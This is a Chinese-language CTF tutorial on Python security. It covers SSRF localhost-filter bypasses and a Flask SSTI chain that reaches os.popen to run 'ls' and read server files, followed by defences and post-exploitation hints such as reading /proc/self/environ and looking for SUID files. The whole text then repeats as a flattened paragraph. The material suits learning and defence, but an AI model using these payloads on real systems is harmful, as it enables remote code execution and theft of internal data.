CTFer成长之路之Python中的安全问题
字数 1637 2025-08-11 08:35:36

Python中的安全问题:CTF实战指南

1. SSRF (Server-Side Request Forgery) 服务器端请求伪造

1.1 基本概念

SSRF是一种攻击者能够从服务器端发起任意HTTP请求的安全漏洞。在Python中,当应用程序接受用户提供的URL并直接发起请求时,如果没有适当的验证和过滤,就可能存在SSRF漏洞。

1.2 CTF题目分析

题目要求访问容器内部的8000端口和URL路径/api/internal/secret来获取flag。

初始尝试

直接访问127.0.0.1:8000/api/internal/secret被禁止,因为127.0.0.1是本机地址。

绕过方法

  1. 使用0.0.0.0代替127.0.0.1

    • 构造payload: 0.0.0.0:8000/api/internal/secret
    • 0.0.0.0是一个特殊地址,表示"本机上的所有IPv4地址"
  2. IPv6地址绕过

    • 使用[::1]:8000(需要服务器支持IPv6)
    • ::1是IPv6的环回地址,相当于IPv4的127.0.0.1
  3. 重定向跳转

    • 构造一个会重定向到127.0.0.1:8000的外部URL
  4. DNS Rebinding攻击

    • 提供一个域名,第一次解析到非127.0.0.1的地址
    • 第二次解析到127.0.0.1
    • 利用DNS TTL过期机制实现

1.3 防御措施

  • 验证用户提供的URL
  • 禁止访问内网IP和特殊地址
  • 使用白名单机制限制可访问的域名和IP
  • 禁用URL重定向

2. SSTI (Server-Side Template Injection) 服务器端模板注入

2.1 基本概念

SSTI发生在应用程序使用用户输入作为模板渲染的一部分时,攻击者可以注入模板指令来执行任意代码。

2.2 CTF题目分析

题目是一个Flask应用,存在模板注入漏洞。

漏洞检测

提交?password={{3*3}},页面返回9,确认存在模板注入。

利用步骤

  1. 获取基类

    "".__class__.__bases__[0]
    

    获取字符串对象的基类(通常是object类)

  2. 获取所有子类

    "".__class__.__bases__[0].__subclasses__()
    

    列出所有可用的Python类

  3. 查找可利用的类
    在子类列表中查找os._wrap_close类(本例中索引为127)

  4. 验证类索引

    "".__class__.__bases__[0].__subclasses__()[127]
    

    确认返回的是<class 'os._wrap_close'>

  5. 执行系统命令

    "".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('ls').read()
    

    通过__globals__访问全局命名空间,调用popen执行系统命令

  6. 读取flag文件

    "".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('cat /app/server.py').read()
    

    读取服务器上的文件内容

2.3 其他利用方式

  • 文件读写操作
  • 导入危险模块
  • 修改应用程序配置
  • 获取敏感信息

2.4 防御措施

  • 永远不要信任用户输入
  • 使用沙盒环境执行模板
  • 对模板变量进行严格的转义
  • 使用更安全的模板引擎
  • 限制模板可访问的对象和方法

3. 其他Python安全注意事项

3.1 反序列化漏洞

  • pickle模块的不安全使用
  • yaml.load()的危险性
  • 使用json.loads()代替危险的反序列化方法

3.2 命令注入

  • 避免使用os.system、subprocess.call等危险函数
  • 使用subprocess.run的安全参数
  • 对用户输入进行严格过滤

3.3 文件操作安全

  • 路径遍历漏洞防护
  • 文件权限设置
  • 安全临时文件创建

3.4 依赖安全

  • 定期更新依赖库
  • 检查依赖库的安全漏洞
  • 使用虚拟环境隔离项目

4. CTF实战技巧总结

  1. SSRF绕过技巧

    • 尝试不同的本地地址表示法
    • 利用DNS特性
    • 使用URL编码和特殊字符
  2. SSTI利用流程

    • 确认漏洞存在
    • 获取对象继承链
    • 查找危险类和方法
    • 构建利用链
  3. 信息收集

    • 尝试读取/proc/self/environ
    • 检查环境变量
    • 查找配置文件
  4. 权限提升

    • 查找SUID文件
    • 检查cron作业
    • 利用Python库中的漏洞

通过理解这些安全问题和利用技术,CTF选手可以更好地识别和利用Python应用程序中的漏洞,同时也帮助开发者构建更安全的Python应用。

Python中的安全问题:CTF实战指南 1. SSRF (Server-Side Request Forgery) 服务器端请求伪造 1.1 基本概念 SSRF是一种攻击者能够从服务器端发起任意HTTP请求的安全漏洞。在Python中,当应用程序接受用户提供的URL并直接发起请求时,如果没有适当的验证和过滤,就可能存在SSRF漏洞。 1.2 CTF题目分析 题目要求访问容器内部的8000端口和URL路径 /api/internal/secret 来获取flag。 初始尝试 直接访问 127.0.0.1:8000/api/internal/secret 被禁止,因为127.0.0.1是本机地址。 绕过方法 使用0.0.0.0代替127.0.0.1 构造payload: 0.0.0.0:8000/api/internal/secret 0.0.0.0是一个特殊地址,表示"本机上的所有IPv4地址" IPv6地址绕过 使用 [::1]:8000 (需要服务器支持IPv6) ::1是IPv6的环回地址,相当于IPv4的127.0.0.1 重定向跳转 构造一个会重定向到 127.0.0.1:8000 的外部URL DNS Rebinding攻击 提供一个域名,第一次解析到非127.0.0.1的地址 第二次解析到127.0.0.1 利用DNS TTL过期机制实现 1.3 防御措施 验证用户提供的URL 禁止访问内网IP和特殊地址 使用白名单机制限制可访问的域名和IP 禁用URL重定向 2. SSTI (Server-Side Template Injection) 服务器端模板注入 2.1 基本概念 SSTI发生在应用程序使用用户输入作为模板渲染的一部分时,攻击者可以注入模板指令来执行任意代码。 2.2 CTF题目分析 题目是一个Flask应用,存在模板注入漏洞。 漏洞检测 提交 ?password={{3*3}} ,页面返回9,确认存在模板注入。 利用步骤 获取基类 获取字符串对象的基类(通常是 object 类) 获取所有子类 列出所有可用的Python类 查找可利用的类 在子类列表中查找 os._wrap_close 类(本例中索引为127) 验证类索引 确认返回的是 <class 'os._wrap_close'> 执行系统命令 通过 __globals__ 访问全局命名空间,调用 popen 执行系统命令 读取flag文件 读取服务器上的文件内容 2.3 其他利用方式 文件读写操作 导入危险模块 修改应用程序配置 获取敏感信息 2.4 防御措施 永远不要信任用户输入 使用沙盒环境执行模板 对模板变量进行严格的转义 使用更安全的模板引擎 限制模板可访问的对象和方法 3. 其他Python安全注意事项 3.1 反序列化漏洞 pickle模块的不安全使用 yaml.load()的危险性 使用json.loads()代替危险的反序列化方法 3.2 命令注入 避免使用os.system、subprocess.call等危险函数 使用subprocess.run的安全参数 对用户输入进行严格过滤 3.3 文件操作安全 路径遍历漏洞防护 文件权限设置 安全临时文件创建 3.4 依赖安全 定期更新依赖库 检查依赖库的安全漏洞 使用虚拟环境隔离项目 4. CTF实战技巧总结 SSRF绕过技巧 尝试不同的本地地址表示法 利用DNS特性 使用URL编码和特殊字符 SSTI利用流程 确认漏洞存在 获取对象继承链 查找危险类和方法 构建利用链 信息收集 尝试读取/proc/self/environ 检查环境变量 查找配置文件 权限提升 查找SUID文件 检查cron作业 利用Python库中的漏洞 通过理解这些安全问题和利用技术,CTF选手可以更好地识别和利用Python应用程序中的漏洞,同时也帮助开发者构建更安全的Python应用。